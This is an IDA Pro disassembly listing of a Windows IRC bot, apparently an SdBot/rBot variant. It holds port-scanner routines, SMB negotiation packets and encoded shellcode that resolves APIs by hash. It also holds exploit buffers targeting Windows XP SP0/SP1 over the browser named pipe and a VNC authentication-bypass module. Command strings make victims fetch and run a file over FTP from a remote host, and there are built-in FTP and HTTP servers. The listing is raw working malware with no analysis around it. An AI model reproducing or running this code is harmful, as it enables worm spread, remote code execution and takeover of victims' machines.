; - ; DATA XREF: sub_40BACD+1FEo db 3, 34h, 2 db 66h ; f db 74h, 70h, 64h db 2 db 3, 2Dh, 20h aServerStarte_3 db 'Server started on Port: %d, File: %s.',0 align 4 unk_431A18 db 2Dh ; - ; DATA XREF: sub_40BACD+148o db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_36 db ' Failed to start server, error: <%d>.',0 align 4 unk_431A4C db 2Dh ; - ; DATA XREF: sub_40C124+EEo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSPortDIsOpen db 'IP: %s, Port %d is open.',0 align 4 unk_431A74 db 2Dh ; - ; DATA XREF: sub_40C124+93o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aIpSDScanThread db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431AAC db 2Dh ; - ; DATA XREF: sub_40C124+3E6o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedAtSDAf db 'Finished at %s:%d after %d minute(s) of scanning.',0 align 4 unk_431AEC db 2Dh ; - ; DATA XREF: sub_40C124+38Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_431B24 db 2Dh ; - ; DATA XREF: sub_40C124+31Bo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSDScanThreadDS db '%s:%d, Scan thread: %d, Sub-thread: %d.',0 unk_431B58 db 2Dh ; - ; DATA XREF: sub_40C124+29Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToInitia db 'Failed to initialize critical section.',0 align 4 dword_431B8C dd 234032Dh, 6E616373h, 202D0302h, 203A5049h, 50207325h ; DATA XREF: sub_40C59B+92o dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0 db 2Dh ; - db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSPor db 'Scanning IP: %s, Port: %d.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFinishedScanni db 'Finished scanning IP: %s.',0 align 4 db 2Dh ; - db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aScanningIpSP_0 db 'Scanning IP: %s, Port: %d.',0 align 4 aRbrbrbrb db '░B░B░B░B',0 ; DATA XREF: sub_40CADA+B2o align 10h dword_431C40 dd 10FF8h, 0 ; DATA XREF: sub_40CADA+6Ao dword_431C48 dd 10FF8h ; DATA XREF: sub_40CADA+79o dword_431C4C dd 7FFDF020h, 0 ; DATA XREF: sub_40CADA+162o dword_431C54 dd 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_40CF04+7Bo dd 13370000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_431CDC dd 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40CF04+34o dd 13370000h, 0 dd 0FF0Ch, 0A110400h, 2 dup(0) dword_431D0C dd 0 ; DATA XREF: sub_40CF04+44o dd 800000D4h, 0 unk_431D18 db 81h ; │ ; DATA XREF: sub_40CFDE+Ao db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 dd 0 byte_431D64 db 41h ; DATA XREF: sub_40D07C+107r aBcdefghijklmno db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0 align 4 ; =============== S U B R O U T I N E ======================================= sub_431DA8 proc near ; DATA XREF: ___:0040D35Bo push ebx push esi push edi sub sp, 80h mov esi, esp call sub_431EA4 push dword ptr [esi] push 63D61209h call sub_431EBA mov [esi+8], eax call sub_431E6D push dword ptr [esi+4] push 0CA2BD06Bh call sub_431EBA mov [esi+0Ch], eax call sub_431E1F push dword ptr [esi+4] push 4C0297FAh call sub_431EBA xor ebx, ebx push 410h push ebx call eax mov ebx, eax push esi mov esi, [esi+10h] mov edi, eax mov ecx, 410h rep movsb pop esi xor eax, eax push eax push eax push eax push ebx push eax push eax call dword ptr [esi+0Ch] mov eax, [esi+8] add sp, 80h pop edi pop esi pop ebx jmp eax sub_431DA8 endp ; =============== S U B R O U T I N E ======================================= sub_431E1F proc near ; CODE XREF: sub_431DA8+33p var_20 = dword ptr -20h var_14 = dword ptr -14h pusha call sub_431E48 mov eax, [esp+20h+var_14] lea ebx, [eax+7Ch] add dword ptr [ebx+3Ch], 5 add dword ptr [ebx+28h], 1000h and dword ptr [ebx+28h], 0FFFFF000h mov eax, [esp+20h+var_20] add esp, 14h push eax xor eax, eax retn sub_431E1F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E48 proc near ; CODE XREF: sub_431E1F+1p xor edx, edx push dword ptr fs:[edx] mov fs:[edx], esp xor ebx, ebx mov eax, 42904290h loc_431E57: ; CODE XREF: sub_431E48+1Aj xor ecx, ecx mov cl, 2 mov edi, ebx repe scasd jz short loc_431E64 inc ebx jmp short loc_431E57 ; --------------------------------------------------------------------------- loc_431E64: ; CODE XREF: sub_431E48+17j mov [esi+10h], edi pop dword ptr fs:[edx] pop eax popa retn sub_431E48 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431E6D proc near ; CODE XREF: sub_431DA8+1Ep pusha mov edi, 7FFDF020h mov ebx, [edi] mov eax, [esi+8] mov [edi], eax mov edi, [edi-8] add edi, 178h mov ecx, edi loc_431E85: ; CODE XREF: sub_431E6D+1Ej cmp [ecx], ebx jz short loc_431E8D mov ecx, [ecx] jmp short loc_431E85 ; --------------------------------------------------------------------------- loc_431E8D: ; CODE XREF: sub_431E6D+1Aj mov edx, edi loc_431E8F: ; CODE XREF: sub_431E6D+2Aj cmp [edx+4], ebx jz short loc_431E99 mov edx, [edx+4] jmp short loc_431E8F ; --------------------------------------------------------------------------- loc_431E99: ; CODE XREF: sub_431E6D+25j mov [ecx], edx mov [edx+4], ecx mov byte ptr [ebx-3], 1 popa retn sub_431E6D endp ; =============== S U B R O U T I N E ======================================= sub_431EA4 proc near ; CODE XREF: sub_431DA8+Ap mov eax, ds:7FFDF00Ch mov eax, [eax+1Ch] mov ebx, [eax+8] mov [esi], ebx mov eax, [eax] mov eax, [eax+8] mov [esi+4], eax retn sub_431EA4 endp ; =============== S U B R O U T I N E ======================================= sub_431EBA proc near ; CODE XREF: sub_431DA8+16p ; sub_431DA8+2Bp ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 pusha mov ebp, [esp+20h+arg_4] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_431ED0: ; CODE XREF: sub_431EBA+33j jecxz short loc_431F0A dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi xor eax, eax cld loc_431EDD: ; CODE XREF: sub_431EBA+2Dj lodsb cmp al, ah jz short loc_431EE9 ror edi, 0Dh add edi, eax jmp short loc_431EDD ; --------------------------------------------------------------------------- loc_431EE9: ; CODE XREF: sub_431EBA+26j cmp edi, [esp+20h+arg_0] jnz short loc_431ED0 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp mov [esp+20h+var_4], eax popa retn 8 ; --------------------------------------------------------------------------- loc_431F0A: ; CODE XREF: sub_431EBA:loc_431ED0j ; sub_431EBA:loc_431F0Aj jmp short loc_431F0A sub_431EBA endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_431F10 proc near ; DATA XREF: ___:0040D309o arg_0 = dword ptr 4 add esp, 0FFFFF254h cld call sub_431F62 mov eax, [ebp+3Ch] mov edi, [ebp+eax+78h] add edi, ebp mov ecx, [edi+18h] mov ebx, [edi+20h] add ebx, ebp loc_431F2D: ; CODE XREF: sub_431F10+38j jecxz short loc_431F5D dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor eax, eax cdq loc_431F38: ; CODE XREF: sub_431F10+32j lodsb test al, al jz short loc_431F44 ror edx, 0Dh add edx, eax jmp short loc_431F38 ; --------------------------------------------------------------------------- loc_431F44: ; CODE XREF: sub_431F10+2Bj cmp edx, [esp+arg_0] jnz short loc_431F2D mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_431F5D: ; CODE XREF: sub_431F10:loc_431F2Dj mov [esp+arg_0], ebx retn sub_431F10 endp ; =============== S U B R O U T I N E ======================================= sub_431F62 proc near ; CODE XREF: sub_431F10+7p ; FUNCTION CHUNK AT 00431F9A SIZE 00000008 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_431F7B mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_431F86 ; --------------------------------------------------------------------------- loc_431F7B: ; CODE XREF: sub_431F62+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_431F86: ; CODE XREF: sub_431F62+14j pop edi xor esi, esi pusha push esi jmp short loc_431F9A sub_431F62 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_431F8D proc near ; CODE XREF: sub_431F62:loc_431F9Ap push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_431F8D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_431F62 loc_431F9A: ; CODE XREF: sub_431F62+29j call sub_431F8D loc_431F9F: ; DATA XREF: sub_40CADA+320o add [eax+0], ah ; END OF FUNCTION CHUNK FOR sub_431F62 ; --------------------------------------------------------------------------- dw 0 dword_431FA4 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADA+2F5o dword_431FB0 dd 30h ; DATA XREF: sub_40CADA+2CAo dword_431FB4 dd 0A1h ; DATA XREF: sub_40CADA+29Fo dword_431FB8 dd 3 ; DATA XREF: sub_40CADA+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CADA+153o align 4 loc_431FC4: ; DATA XREF: sub_40CADA+E8o jmp short near ptr dword_431FCC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_431FCC dd 0 ; CODE XREF: ___:loc_431FC4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D330o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 8 dword_432038 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Bo ; --------------------------------------------------------------------------- loc_432044: ; CODE XREF: ___:0043204Ej xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_432044 inc edi jz short loc_43208B and eax, 952CE753h inc esp jle short loc_4320B3 push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_43208B: ; CODE XREF: ___:00432051j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_4320EA+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_4320B0: ; CODE XREF: ___:004320DDj xor [esi-25h], bl loc_4320B3: ; CODE XREF: ___:00432059j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_4320CC: ; CODE XREF: ___:004320FFj rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_4320B0 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_4320EA: ; CODE XREF: ___:00432091j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_432176 jo short loc_4320CC fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_43210D+1 add bl, [edi] loc_43210D: ; CODE XREF: ___:00432109j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_432122+2 cmp ch, bh dec edx loc_432122: ; CODE XREF: ___:0043211Dj xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_432176: ; CODE XREF: ___:004320FDj mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_4321FC sub al, 0BCh jmp near ptr 5445256Ah ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_432198 dd 0EFFFC481h, 44FFFFh, 4321E4h ; DATA XREF: ___:0040DC32o dword_4321A4 dd 42Ah ; DATA XREF: ___:0040DBE5r dword_4321A8 dd 3E8h ; DATA XREF: ___:0040DC56r dword_4321AC dd 258h ; DATA XREF: ___:0040DC28r byte_4321B0 db 1 ; DATA XREF: ___:0040DB91r ; ___:0040DC5Fr align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_4321C8 dd 20804h ; DATA XREF: sub_40D89Fr ___:0040DC7Do ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:004321B4o align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_4321FC: ; CODE XREF: ___:00432180j push eax xor al, 29h loc_4321FF: ; DATA XREF: ___:0040DBB9o add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 8 dword_432208 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:0040DAE9o dword_43221C dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:0040DA8Do aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:0040DA1Co align 4 aSIpc db '\\%s\ipc$',0 align 10h aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40DFE2+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_4322C4 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40E0D0+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040E40Co align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040E299o align 4 word_433508 dw 1 ; DATA XREF: ___:0040E210r align 4 dword_43350C dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_419C64+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 aFtpTransferCom db 'ftp transfer complete to: %s',0 align 4 a226TransferCom db '226 Transfer complete.',0Ah,0 aFtpTransferSta db 'ftp transfer started to: %s',0 a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 align 4 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferC_0 db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:00437C70o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:00437C7Co unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_3 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4337F4 db 2Dh ; - ; DATA XREF: sub_40F0D5+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_43381C db 0Dh,0Ah,0 ; DATA XREF: sub_40F0D5+2CFo ; sub_41A4D1+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40F0D5+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40F530+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40F530+98o ; sub_41AA42+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40F530+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40F530:loc_40F596o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40F530+5Fo align 4 unk_433A3C db 2Dh ; - ; DATA XREF: sub_40F6B3+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_37 db ' failed to start worker thread, error %d',0 align 4 unk_433A74 db 2Dh ; - ; DATA XREF: sub_40F6B3+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_433AA8: ; DATA XREF: sub_40F6B3+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_40F6B3+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_40F96A+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FE92o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_40F96A+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_40F96A+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_40F96A+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_40F96A+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_40F96A:loc_40FD24o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_40F96A+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_40F96A+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+328o ; sub_40F96A+496o db '<TD WIDTH="%d"><A HREF="',0 align 4 aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_40F96A+310o align 4 aS db '<%s>',0 ; DATA XREF: sub_40F96A+2E9o ; sub_40F96A+40Bo align 10h a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_40F96A+2BFo aAm db 'AM',0 ; DATA XREF: sub_40F96A+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_40F96A+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_40F96A+237o align 4 aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_40F96A+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db 